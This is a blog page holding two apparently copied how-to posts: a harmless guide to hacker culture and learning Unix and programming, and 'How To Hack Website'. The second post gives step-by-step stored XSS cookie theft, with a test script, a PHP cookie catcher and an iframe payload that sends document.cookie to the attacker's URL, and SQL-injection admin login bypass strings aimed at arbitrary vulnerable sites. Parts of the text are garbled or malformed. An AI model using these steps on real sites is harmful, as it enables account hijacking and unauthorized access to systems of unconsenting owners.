Thursday, September 28, 2017

How to Become a Hacker

In computer security, a hacker is someone who focuses on security mechanisms of computer and network systems. There are a community and shared culture of expert programmers and networking wizards that trace its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture were the first "hackers." Breaking into computers and breaking phone systems have come to symbolize hacking in popular culture, but hacking culture is much more complex and moralistic than most people know. To become a hacker, learn basic hacking techniques, how to think like a hacker, and how to gain respect within the ethical hacking community.


Part1
Learning Fundamentals

  1. 1
    Run a UNIX-like OS, such as Linux. UNIX and UNIX-like operating systems are the operating systems of the Internet. While you can learn to use the Internet without knowing UNIX, you can't be an Internet hacker without understanding UNIX. For this reason, the hacker culture today is pretty strongly UNIX-centered. There are many types of UNIX-like operating systems, the most popular being Linux, which you can run alongside Microsoft Windows on the same machine. Download Linux online or find a local Linux user group to help you with installation.[1]
    • A good way to dip your toes in the water is to boot up what Linux fans call a live CD or USB, a distribution that runs entirely off a CD or USB without modifying your hard disk. This is a way to get a look at the possibilities without having to do anything drastic.
    • There are other UNIX-like operating systems besides Linux, such as the *BSD systems. The most popular *BSD systems are FreeBSD, NetBSD, OpenBSD and Dragon Fly BSD. All are open source just like Linux, however, it's important to remember that they are BSD and not Linux.
    • MacOS is based on Darwin, a UNIX operating system that's based on FreeBSD. Darwin is fully free and open source and is available from http://opensource.apple.com. Because the core of the system is UNIX, and macOS is very popular, many people have ported over Linux applications to macOS. You can get those programs with a package manager like homebrew, fink or MacPorts. Alternatively, you can just run Linux on a Mac alongside macOS.
    • If you want to get super niche, you can even run an operating system like Open Indiana, which is based on the open source release of the Solaris operating system before it was acquired by Oracle and made closed source. OpenIndiana and Solaris are based on UNIX System V, and, as such, are not compatible with Linux applications. That said, there are many ports of Linux applications. You're probably better off just using macOS, BSD or Linux because they are much more popular and have many more programs available for them.
  2. 2
    Write HTML. If you don't know how to program, learning basic HyperText Mark-Up Language (HTML) and gradually building proficiency is essential. What you see when you look at a website of pictures, images, and design components is all coded using HTML. For a project, set out to learn how to make a basic home page and work your way up from there.
    • In your browser, open the page source information to examine the HTML to see an example. Go to Web Developer > Page Source in Firefox and spend time looking at the code.
    • You can write HTML in a basic word processing program like Notepad or Simple text and save your files as "text only," so you can upload them to a browser and see your work translated.[2]
    • You'll need to learn to format tags and learn to think visually using them.[3] "<" is used to open a tag and "/> is used to close it. "
      " is the opening for a line of paragraph code. You'll use tags to signal anything visual: italics, formatting, color, etc. Learning HTML will help you to understand better how the Internet works.
  3. 3
    Learn the language of programing. Before you start writing poems you have to learn basic grammar. Before you break the rules you have to learn the rules. But if your ultimate goal is to become a hacker, you're going to need more than basic English to write your masterpiece.
    • Python is a good "language" to start off with because it's cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful, flexible, and well-suited for large projects. Java is an alternative, but its value as a first programming language has been questioned.[4]
    • If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. C is very efficient with your machine's resources but will soak up huge amounts of your time on debugging and is often avoided for that reason, unless the efficiency of your computer is especially important.
    • It is probably a good idea to use a good starting platform such as Backtrack 5 R3, Kali or Ubuntu 12.04LTS.

Part2
Adopting Hacking Attitudes

  1. 1
    Think creatively. Now that you've got the basic skills in place, you can start thinking artistically. Hackers are like artists, philosophers, and engineers all rolled up into one. They believe in freedom and mutual responsibility. The world is full of fascinating problems waiting to be solved. Hackers take a special delight in solving problems, sharpening their skills, and exercising their intelligence.
    • Hackers have a diversity of interests culturally and intellectually, outside of hacking. Work as intensely as you play, and play as intensely as you work. For true hackers, the boundaries between "play," "work," "science," and "art" all tend to disappear or to merge into a high-level creative playfulness.
    • Read science fiction. Go to science fiction conventions, which is a great way to meet hackers and proto-hackers.
    • Consider training in a martial art. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most hacker-ly martial arts are those which emphasize mental discipline, relaxed awareness, and control, rather than raw strength, athleticism, or physical toughness. Tai Chi is a good martial art for hackers.
  2. 2
    Learn to love solving problems. No problem should ever have to be solved twice. Think of it as a community in which the time of everyone is hackers is precious. Hackers believe sharing information is a moral responsibility. When you solve problems, make the information public to help everyone solve the same issue.
    • You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get the most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers.
    • Read older pieces, such as the "Jargon File" or "Hacker Manifesto" by The Mentor. They may be out of date in terms of technical issues, but the attitude and spirit are just as timely.[5]
  3. 3
    Learn to recognize and fight authority. The enemy of the hacker is boredom, drudgery, and authoritarian figures who use censorship and secrecy to strangle the freedom of information. Monotonous work keeps the hacker from hacking.
    • Embracing hacking as a way of life is to reject so-called "normal" concepts of work and property, choosing instead to fight for equality and common knowledge.
  4. 4
    Be competent. So, anyone who spends time on Reddit can write up a ridiculous cyberpunk username and pose as a hacker. But the Internet is a great equalizer and values competence over ego and posture. Spend time working on your craft and not your image and you'll more quickly gain respect than modeling yourself on the superficial things we think of "hacking" in popular culture.
  5. Part3
    Hacking Well

    1. 1
      Write open-source software. Write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use. Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away so that now everyone uses them.
    2. 2
      Help test and debug open-source software. Any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies.
      • Try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate goodwill with people who will help you later on.
    3. 3
      Publish useful information. Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available. Maintainers of major technical FAQs get almost as much respect as open-source authors.
    4. 4
      Help keep the infrastructure working. The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs to be done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards. People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.
    5. 5
      Serve the hacker culture itself. This is not something you'll be positioned to do until you've been around for a while and become well-known for one of the four previous items. The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these.
    • Hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.

More

Wednesday, September 27, 2017

How To Hack Website

Ever wanted to know how to hack a website? While it is not possible to hack every site, you may be able to hack a vulnerable one, such as a message board. This Blog will show you how to hack a site using cross site scripting as well as injection attacks. It will also give you tips on how to set yourself up for success.

Note: This Supporting Zone is strictly for educational purposes, either to help people begin to learnwhite hat hacking or to see how hackers work in order to protect their own sites better.

  1. 1
    Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is secure then this will not work. window.alert(“test”) window.alert(“test”)window.alert(“test”)
  2. 2
    Go to create a post. You will need to type some special code into the “post” which will capture the data of all who click on it.
    • You’ll want to test to see if the system filters out code. Post
      <script>window.alert(“test”)</script>
      
      If an alert box appears when you click on your post, then the site is vulnerable to attack.
  3. 3
    Create and upload your cookie catcher. The goal of this attack is to capture a user’s cookies, which allows you access to their account for websites with vulnerable logins. You’ll need a cookie catcher, which will capture your target’s cookies and reroute them. Upload the catcher to a website you have access to and that supports php. An example cookie catcher code can be found in the sample section.
  4. 4
    Post with your cookie catcher. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted.
    • An example code would look like
      <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>
  5. 5
    Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.
  6. 2
    Executing Injection Attacks

    1. 1
      Find a vulnerable site. You will need to find a site that is vulnerable, due to an easily accessible admin login. Try searching Google for admin login.asp.
    2. 2
      Login as an admin. Type admin as the username and use one of a number of different strings as the password. These can be any one of a number of different strings but a common example is 1’or’1’='1 or 2'='2.
    3. 3
      Be patient. This is probably going to require a little trial and error.
    4. 4
      Access the website. Eventually, you should be able to find a string that allows you admin access to a website, assuming the website is vulnerable to attack.

    3
    Setting Up for Success

    1. 1
      Learn a programming language or two. If you want to really learn how to hack websites, you’ll need to understand how computers and other technologies work. Learn to use programming languages like Python or SQL, so that you can gain better control of computers and identify vulnerabilities in systems.
    2. 2
      Have basic HTML literacy. You will also need to have a really good understanding of html and javascript if you want to hack websites in particular. This can take time to learn but there are lots of free ways to learn on the internet, so you will certainly have the opportunity if you want to take it.
    3. 3
      Consult with whitehats. Whitehats are hackers who use their powers for good, exposing security vulnerabilities and making the internet a better place for everyone. If you’re wanting to learn to hack and use your powers for good or if you want to help protect your own website, you might want to contact some current whitehats for advice.
    4. 4

      Research hacking. If you’re wanting to learn to hack or if you just want to protect yourself, you’ll need to do a lot of research. There are so many different ways that websites can be vulnerable and the list is ever-changing, so you will need to be constantly learning.
    5. 5

      Keep up to date. Because the list of possible hacks is ever-changing, you’ll need to be sure you keep up to date. Just because you’re protected from a certain type of hack now doesn’t mean you’ll be safe in the future!.